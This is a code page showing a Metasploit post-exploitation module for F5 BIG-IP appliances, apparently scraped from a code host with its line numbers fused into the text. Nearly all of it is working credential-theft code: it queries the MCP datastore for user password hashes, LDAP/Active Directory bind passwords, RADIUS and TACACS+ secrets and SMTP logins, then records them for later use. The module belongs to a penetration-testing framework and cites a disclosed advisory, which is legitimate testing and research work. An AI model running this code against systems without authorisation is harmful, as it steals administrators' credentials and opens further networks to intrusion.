Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/f5_loot_mcp.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::System8include Msf::Post::Linux::F5Mcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'F5 Big-IP Gather Information from MCP Datastore',15'Description' => %q{16This module gathers various interesting pieces of data from F5's17"mcp" datastore, which is accessed via /var/run/mcp using a18proprietary protocol.1920Adapted from: https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-getloot.rb21},22'License' => MSF_LICENSE,23'Author' => ['Ron Bowes'],24'Platform' => ['linux', 'unix'],25'SessionTypes' => ['shell', 'meterpreter'],26'References' => [27['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC28['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],29['URL', 'https://support.f5.com/csp/article/K97843387'],30],31'DisclosureDate' => '2022-11-16',32'Notes' => {33'Stability' => [],34'Reliability' => [],35'SideEffects' => []36}37)38)3940register_options(41[42OptBool.new('GATHER_HASHES', [true, 'Gather password hashes from MCP', true]),43OptBool.new('GATHER_SERVICE_PASSWORDS', [true, 'Gather upstream passwords (ie, LDAP, AD, RADIUS, etc) from MCP', true]),44OptBool.new('GATHER_DB_VARIABLES', [true, 'Gather database variables (warning: slow)', false]),45]46)47end4849def gather_hashes50print_status('Gathering users and password hashes from MCP')51users = mcp_simple_query('userdb_entry')5253unless users54print_error('Failed to query users')55return56end5758users.each do |u|59print_good("#{u['userdb_entry_name']}:#{u['userdb_entry_passwd']}")6061create_credential(62jtr_format: Metasploit::Framework::Hashes.identify_hash(u['userdb_entry_passwd']),63origin_type: :session,64post_reference_name: refname,65private_type: :nonreplayable_hash,66private_data: u['userdb_entry_passwd'],67session_id: session_db_id,68username: u['userdb_entry_name'],69workspace_id: myworkspace_id70)71end72end7374def gather_upstream_passwords75print_status('Gathering upstream passwords from MCP')7677vprint_status('Trying to fetch LDAP / Active Directory configuration')78ldap_config = mcp_simple_query('auth_ldap_config') || []79ldap_config.select! { |config| config['auth_ldap_config_bind_pw'] }80if ldap_config.empty?81print_status('No LDAP / Active Directory password found')82else83ldap_config.each do |config|84config['auth_ldap_config_servers'].each do |server|85report_cred(86username: config['auth_ldap_config_bind_dn'],87password: config['auth_ldap_config_bind_pw'],88host: server,89port: config['auth_ldap_config_port'],90service_name: (config['auth_ldap_config_ssl'] == 1 ? 'ldaps' : 'ldap')91)92end93end94end9596vprint_status('Trying to fetch Radius configuration')97radius_config = mcp_simple_query('radius_server') || []98radius_config.select! { |config| config['radius_server_secret'] }99if radius_config.empty?100print_status('No Radius password found')101else102radius_config.each do |config|103report_cred(104password: config['radius_server_secret'],105host: config['radius_server_server'],106port: config['radius_server_port'],107service_name: 'radius'108)109end110end111112vprint_status('Trying to fetch TACACS+ configuration')113tacacs_config = mcp_simple_query('auth_tacacs_config') || []114tacacs_config.select! { |config| config['auth_tacacs_config_secret'] }115if tacacs_config.empty?116print_status('No TACACS+ password found')117else118tacacs_config.each do |config|119config['auth_tacacs_config_servers'].each do |server|120report_cred(121password: config['auth_tacacs_config_secret'],122host: server,123port: 49,124service_name: 'tacacs+'125)126end127end128end129130vprint_status('Trying to fetch SMTP configuration')131smtp_config = mcp_simple_query('smtp_config') || []132smtp_config.select! { |config| config['smtp_config_username'] }133if smtp_config.empty?134print_status('No SMTP password found')135else136smtp_config.each do |config|137report_cred(138username: config['smtp_config_username'],139password: config['smtp_config_password'],140host: config['smtp_config_smtp_server_address'],141port: config['smtp_config_smtp_server_port'],142service_name: 'smtp'143)144end145end146end147148def gather_db_variables149print_status('Fetching db variables from MCP (this takes a bit)...')150vars = mcp_simple_query('db_variable')151152unless vars153print_error('Failed to query db variables')154return155end156157vars.each do |v|158print_good "#{v['db_variable_name']} => #{v['db_variable_value']}"159end160end161162def resolve_host(hostname)163ip = nil164if session.type == 'meterpreter' && session.commands.include?(Rex::Post::Meterpreter::Extensions::Stdapi::COMMAND_ID_STDAPI_NET_RESOLVE_HOST)165result = session.net.resolve.resolve_host(hostname)166ip = result[:ip] if result167else168result = cmd_exec("dig +short '#{hostname}'")169ip = result.strip unless result.blank?170end171172vprint_warning("Failed to resolve hostname: #{hostname}") unless ip173174ip175rescue Rex::Post::Meterpreter::RequestError => e176elog("Failed to resolve hostname: #{hostname.inspect}", error: e)177end178179def report_cred(opts)180netloc = "#{opts[:host]}:#{opts[:port]}"181print_good("#{netloc.ljust(21)} - #{opts[:service_name]}: '#{opts[:username]}:#{opts[:password]}'")182183if opts[:host] && !Rex::Socket.is_ip_addr?(opts[:host])184opts[:host] = resolve_host(opts[:host])185end186187service_data = {188address: opts[:host],189port: opts[:port],190service_name: opts[:service_name],191protocol: opts.fetch(:protocol, 'tcp'),192workspace_id: myworkspace_id193}194195credential_data = {196post_reference_name: refname,197session_id: session_db_id,198origin_type: :session,199private_data: opts[:password],200private_type: :password,201username: opts[:username]202}.merge(service_data)203204login_data = {205core: create_credential(credential_data),206status: Metasploit::Model::Login::Status::UNTRIED207}.merge(service_data)208209create_credential_login(login_data)210end211212def run213gather_hashes if datastore['GATHER_HASHES']214gather_upstream_passwords if datastore['GATHER_SERVICE_PASSWORDS']215gather_db_variables if datastore['GATHER_DB_VARIABLES']216end217end218219220